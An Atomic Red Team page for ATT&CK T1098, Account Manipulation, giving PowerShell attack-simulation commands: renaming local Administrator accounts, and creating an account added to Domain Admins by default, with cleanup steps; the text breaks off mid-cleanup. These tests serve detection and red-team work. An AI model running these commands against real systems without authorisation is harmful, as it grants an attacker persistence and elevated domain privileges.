# T1098 - Account Manipulation

## Description from ATT&CK

> Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.
> 
> In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).

[Source](https://attack.mitre.org/techniques/T1098)

## Atomic Tests

- [Atomic Test #1: Admin Account Manipulate](#atomic-test-1-admin-account-manipulate)
- [Atomic Test #2: Domain Account and Group Manipulate](#atomic-test-2-domain-account-and-group-manipulate)
- [Atomic Test #3: AWS - Create a group and add a user to that group](#atomic-test-3-aws---create-a-group-and-add-a-user-to-that-group)
- [Atomic Test #4: Azure AD - adding user to Azure AD role](#atomic-test-4-azure-ad---adding-user-to-azure-ad-role)
- [Atomic Test #5: Azure AD - adding service principal to Azure AD role](#atomic-test-5-azure-ad---adding-service-principal-to-azure-ad-role)
- [Atomic Test #6: Azure - adding user to Azure role in subscription](#atomic-test-6-azure---adding-user-to-azure-role-in-subscription)
- [Atomic Test #7: Azure - adding service principal to Azure role in subscription](#atomic-test-7-azure---adding-service-principal-to-azure-role-in-subscription)
- [Atomic Test #8: Azure AD - adding permission to application](#atomic-test-8-azure-ad---adding-permission-to-application)
- [Atomic Test #9: Password Change on Directory Service Restore Mode (DSRM) Account](#atomic-test-9-password-change-on-directory-service-restore-mode-dsrm-account)
- [Atomic Test #10: Domain Password Policy Check: Short Password](#atomic-test-10-domain-password-policy-check-short-password)
- [Atomic Test #11: Domain Password Policy Check: No Number in Password](#atomic-test-11-domain-password-policy-check-no-number-in-password)
- [Atomic Test #12: Domain Password Policy Check: No Special Character in Password](#atomic-test-12-domain-password-policy-check-no-special-character-in-password)
- [Atomic Test #13: Domain Password Policy Check: No Uppercase Character in Password](#atomic-test-13-domain-password-policy-check-no-uppercase-character-in-password)
- [Atomic Test #14: Domain Password Policy Check: No Lowercase Character in Password](#atomic-test-14-domain-password-policy-check-no-lowercase-character-in-password)
- [Atomic Test #15: Domain Password Policy Check: Only Two Character Classes](#atomic-test-15-domain-password-policy-check-only-two-character-classes)
- [Atomic Test #16: Domain Password Policy Check: Common Password Use](#atomic-test-16-domain-password-policy-check-common-password-use)
- [Atomic Test #17: GCP - Delete Service Account Key](#atomic-test-17-gcp---delete-service-account-key)

### Atomic Test #1: Admin Account Manipulate

Manipulate Admin Account Name

**Supported Platforms:** Windows

**auto_generated_guid:** `5598f7cb-cf43-455e-883a-f6008c5d46af`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHa_$x$y$z

$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name

foreach($member in $fmm) {
    if($member -like "*Administrator*") {
        $account = $member.Name.Split("\")[-1] # strip computername\
        $originalDescription = (Get-LocalUser -Name $account).Description
        Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
        Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
        Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
        }
    }
```

#### Cleanup Commands

```powershell
$list = Get-LocalUser |?{$_.Description -like "atr:*"}
foreach($u in $list) {
  $u.Description -match "atr:(?<Name>[^;]+);(?<Description>.*)"
  Set-LocalUser -Name $u.Name -Description $Matches.Description
  Rename-LocalUser -Name $u.Name -NewName $Matches.Name
  Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME
}
```
### Atomic Test #2: Domain Account and Group Manipulate

Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). 

The quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,
you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to 
create the user and alter the group. Automatic installation of the dependency requires an elevated session, 
and is unlikely to work with Powershell Core (untested).

If you consider running this test against a production Active Directory, the good practise is to create a dedicated
service account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated
as group manager of the target group.

Example: `Invoke-AtomicTest -Session $session 'T1098' -TestNames "Domain Account and Group Manipulate" -InputArgs @{"group" = "DNSAdmins" }`

**Supported Platforms:** Windows

**auto_generated_guid:** `a55a22e9-a3d3-42ce-bd48-2653adb8f7a9`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| account_prefix | Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on
a match `(&(samaccountname=#{account_prefix}-*)(givenName=Test))`, if you are to change it, be careful. | string | atr-|
| group | Name of the group to alter | string | Domain Admins|
| create_args | Additional string appended to New-ADUser call | string | |

#### Attack Commands: Run with `powershell`!

```powershell
$x = Get-Random -Minimum 2 -Maximum 99
$y = Get-Random -Minimum 2 -Maximum 99
$z = Get-Random -Minimum 2 -Maximum 99
$w = Get-Random -Minimum 2 -Maximum 99

Import-Module ActiveDirectory
$account = "#{account_prefix}-$x$y$z"
New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}
Add-ADGroupMember "#{group}" $account
```

#### Cleanup Commands

```powershell
Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix